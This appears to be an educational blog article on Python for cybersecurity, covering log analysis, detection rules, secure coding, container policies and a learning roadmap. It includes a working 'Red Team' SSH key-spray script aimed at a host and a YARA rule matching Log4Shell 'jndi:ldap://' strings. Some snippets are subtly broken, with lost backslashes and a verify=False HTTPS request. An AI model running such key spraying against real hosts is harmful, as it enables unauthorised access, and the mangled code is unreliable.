Artykul

Fusion python and cybersecurity

Najlepsze darmowe i komercyjne narzędzia, które realnie ułatwiają życie administratorowi

25.07.2025 9 min czytania import
Cyberbezpieczenstwo i automatyzacja Python

🧠 Programowanie i Cyberbezpieczeństwo – Dwa Filary Nowoczesnej Informatyki

🌙

Programming & Cybersecurity

The twin pillars of modern IT – a complete guide

Spis treści

Introduction: The Fusion of Programming and Cybersecurity in the Digital Era

In today's rapidly evolving world, where data is the new currency and cyberattacks are becoming increasingly sophisticated, programming skills and cybersecurity awareness are no longer just advantages but absolute foundations of working in the IT industry. Whether your career path leads through developing innovative applications, managing complex server infrastructures, or conducting in-depth network traffic analysis, you need both proficiency in writing efficient and clean code and deep knowledge of how to effectively protect systems from constantly evolving threats.

Python from Basics to Professional: Why Is It the Language of Cybersecurity?

Python is a programming language that has gained immense popularity due to its simplicity, readability, and remarkable versatility. It is an ideal choice for beginner programmers while also serving as a powerful tool in the hands of experienced experts. From simple scripts automating repetitive tasks to advanced data analysis, complex penetration testing, and creating malware analysis tools—Python is ubiquitous in the IT world and, most importantly, in cybersecurity.

Cheat-sheet – Key Python Constructs and Concepts

Concept Description Example Use Case

print() / input()Basic functions for displaying information in the console and collecting user input.print("Hello, World!") name = input("Enter your name: ") len()Function that returns the length (number of elements) of an object, e.g., a list, string, or dictionary.len([1,2,3]) # Returns 3 len("Python") # Returns 6 Data TypesPython fundamentals – ways to store and manipulate different types of information.int (integers), float (floating-point numbers), bool (boolean values), str (strings), list (ordered collections), dict (key-value mappings), set (unordered collections of unique elements), tuple (immutable tuples). Control StructuresMechanisms controlling program flow, enabling conditional execution and iteration.if x > 0: print("Positive number") for i in range(5): print(i) while True: pass # infinite loop FunctionsReusable code blocks that perform specific tasks, improving code modularity and readability.def add(a, b): """Adds two numbers and returns the result.""" return a + b result = add(5, 3) # result = 8 Error HandlingThe try-except mechanism allows safe management of exceptions and errors, preventing program crashes.try: num = int(input("Enter a number: ")) except ValueError: print("That's not a valid number!") finally: print("Attempt completed.") File I/OInput/output operations enabling reading and writing data to files, crucial for log analysis and reporting.with open("log.txt", "r") as f: content = f.read() with open("output.txt", "w") as f: f.write("New data") List ComprehensionsElegant and concise syntax for creating lists (and other collections) based on existing iterable objects.squares = [x**2 for x in range(5)] # [0, 1, 4, 9, 16] even_numbers = [x for x in my_list if x % 2 == 0] Modules and PackagesWays to organize code and reuse functionality. Modules are single Python files; packages are collections of modules.import os # Module for interacting with the operating system import requests # Library for making HTTP requests from datetime import datetime # Import specific object

Example – Simple Python Script

This script demonstrates the basic use of the input() function to collect user input and print() to display a personalized message. It’s a classic "Hello World" with a touch of interactivity.

name = input("Enter your name: ") print(f"Hello, {name}! Welcome to the world of Python and Cybersecurity!")

Python in Cybersecurity – Ready-to-Use Tools and Libraries

Python’s power in cybersecurity lies in the wealth of available libraries and tools that simplify complex tasks.

  • Nmap (python-nmap) – A Python library for interacting with the popular Nmap network scanner, enabling port scanning, service detection, and operating system identification on remote hosts.
  • Scapy – A powerful library for manipulating and analyzing network packets. It allows creating, sending, capturing, and decoding packets at various protocol levels. Essential for penetration testing and traffic analysis.
  • YARA – A tool (with a Python interface) for detecting malware based on text or binary patterns, known as YARA signatures. Used by malware analysts to identify malware families.
  • Impacket – A set of Python classes for programmatic interaction with network protocols, especially those used in Windows environments (e.g., SMB, Kerberos, DCERPC). Extremely useful for Active Directory penetration testing.
  • Pwntools – A library designed for Capture The Flag (CTF) and exploit development. It simplifies tasks like debugging, process communication, and shellcode generation.

Example – Log Analysis for Brute-Force Attack Detection

The following Python script demonstrates how to use regular expressions (re) and collections (collections.Counter) to analyze system log files (e.g., /var/log/auth.log) for detecting potential brute-force attacks. The script identifies IP addresses with more than 10 failed login attempts.

import re, collections def detect_bruteforce(logfile_path): """ Analyzes a log file for failed login attempts (brute-force). Args: logfile_path (str): Path to the log file, e.g., /var/log/auth.log. Returns: list: List of IP addresses with more than 10 failed login attempts. """ ip_counter = collections.Counter() try: with open(logfile_path, 'r') as f: for line in f: if "Failed password" in line: # Extract IP address from the log line # Example: "Failed password for user root from 192.168.1.100 port 12345 ssh2" match = re.search(r'from (S+) port', line) if match: ip = match.group(1) ip_counter[ip] += 1 except FileNotFoundError: print(f"Error: Log file '{logfile_path}' not found.") return [] except Exception as e: print(f"Error reading logs: {e}") return [] # Return IPs exceeding the threshold of 10 failed attempts return [ip for ip, count in ip_counter.items() if count > 10] # Example usage of the script: if __name__ == "__main__": suspicious_ips = detect_bruteforce("/var/log/auth.log") if suspicious_ips: print("Detected potential brute-force attacks from the following IP addresses:") for ip in suspicious_ips: print(f"- {ip}") else: print("No suspicious brute-force activity detected in the logs.")

Types of Cyberattacks – Modern Vectors

Supply-chain – Log4Shell Example

  • Vector: Malicious log4j library chain
  • YARA Detection:

rule Log4Shell_Indicator { strings: $jndi = "jndi:ldap://" nocase $ctx = "${jndi" nocase condition: $jndi and $ctx }

Deep-fake Audio – Quick Detection

import librosa, joblib import numpy as np def detect_deepfake(file): y, sr = librosa.load(file, sr=16000) mfcc = librosa.feature.mfcc(y=y, sr=sr, n_mfcc=40) model = joblib.load("deepfake_svm.pkl") return model.predict(mfcc.T.mean(axis=0).reshape(1, -1))[0]

Secure Coding – Developer Checklist

  • ✅ Data Validation – pydantic
  • ✅ Passwords – Argon2
  • ✅ Secrets – Vault / KMS
  • ✅ Logs – Structured JSON

from pydantic import BaseModel, validator class LoginModel(BaseModel): username: str password: str @validator("username") def username_alnum(cls, v): if not v.isalnum(): raise ValueError("Username must be alphanumeric") return v

“SOC-in-a-Box” – End-to-End Pipeline

  • Shipper: Filebeat → Logstash
  • Processing: Logstash filters (Grok, GeoIP)
  • Storage: Elasticsearch + ILM
  • Analytics: Jupyter + scikit-learn
  • Alerting: ElastAlert2 (Python)

ElastAlert – Brute-Force Rule

name: "SSH brute-force" type: frequency index: auth-* num_events: 10 timeframe: minutes: 5 filter:

  • term:
  • event.action: "authentication_failure" alert:

  • slack

Red Team vs Blue Team – Mini CTF

Red Team – Key Spray

import paramiko, itertools def key_spray(host, user, keyfile): with open(keyfile) as kf: for key in kf: try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(host, username=user, key_filename=key.strip(), timeout=3) print("✅ Success:", key.strip()) ssh.close() return except: pass if __name__ == "__main__": key_spray("10.0.0.5", "ubuntu", "keys.txt")

Blue Team – Auto-Block

import subprocess, datetime, json def block_ip(ip): subprocess.run(["iptables", "-A", "INPUT", "-s", ip, "-j", "DROP"]) with open("/var/log/blocks.jsonl", "a") as f: f.write(json.dumps({"ts": str(datetime.datetime.utcnow()), "ip": ip}) + "n") if __name__ == "__main__": block_ip("192.168.1.200")

Containers – From Dockerfile to OPA Gatekeeper

Secure Dockerfile

FROM python:3.11-slim RUN addgroup --system app && adduser --system --group app USER app WORKDIR /app COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt COPY app.py . EXPOSE 8000 CMD ["python", "app.py"]

OPA Gatekeeper – No Root Policy

apiVersion: templates.gatekeeper.sh/v1beta1 kind: ConstraintTemplate metadata: name: noroot spec: crd: spec: names: kind: NoRoot targets:

  • target: admission.k8s.gatekeeper.sh
  • rego: | package k8snoroot violation[{"msg": msg}] { input.review.object.spec.securityContext.runAsUser == 0 msg := "Containers must not run as root" }

12-Month Development Roadmap

Month Python Cybersecurity Project

1-2Basics, pytestOWASP Top 10, WiresharkLog Parser 3-4FastAPI, asyncioBurp Suite, XSS labsCustom WAF 5-6SQLModel, PydanticSigma rules, ZeekSOC Dashboard 7-8scikit-learn, pandasML IDS, Zeek logsML Anomaly Detection 9-10Kubernetes operatorPSP, OPA GatekeeperSecret Rotation 11-12Thesis / portfolioRed Team vs Blue TeamConference Presentation

Learning Resources and Mini-Challenge

  • Python: “Automate the Boring Stuff with Python”, “Real Python”
  • Cybersecurity: “Black Hat Python 2e”, “Practical Packet Analysis”, PortSwigger Academy, OverTheWire Wargames

Mini-Challenge (30 min)

import ssl, socket, csv, datetime, requests, sys def check_ssl(domain): try: ctx = ssl.create_default_context() with ctx.wrap_socket(socket.socket(), server_hostname=domain) as s: s.settimeout(5) s.connect((domain, 443)) cert = s.getpeercert() expiry = datetime.datetime.strptime(cert["notAfter"], "%b %d %H:%M:%S %Y %Z") days_left = (expiry - datetime.datetime.utcnow()).days resp = requests.get(f"https://{domain}", timeout=10, verify=False) hsts = "strict-transport-security" in resp.headers return domain, days_left, hsts, "" except Exception as e: return domain, "N/A", "N/A", str(e) def audit_ssl(domains_file="domains.txt", report_file="report.csv"): with open(domains_file) as f: domains = [d.strip() for d in f if d.strip()] results = [check_ssl(d) for d in domains] with open(report_file, "w", newline="", encoding="utf-8") as f: csv.writer(f).writerows([("Domain", "Days to Expiry", "HSTS", "Error")] + results) print("Audit completed – results in report.csv") if __name__ == "__main__": audit_ssl()

Summary

Programming without security is like a car without brakes. Security without automation is like driving with the handbrake on. Python and cybersecurity are a duo that enables building modern, secure IT solutions.

Wroc do bloga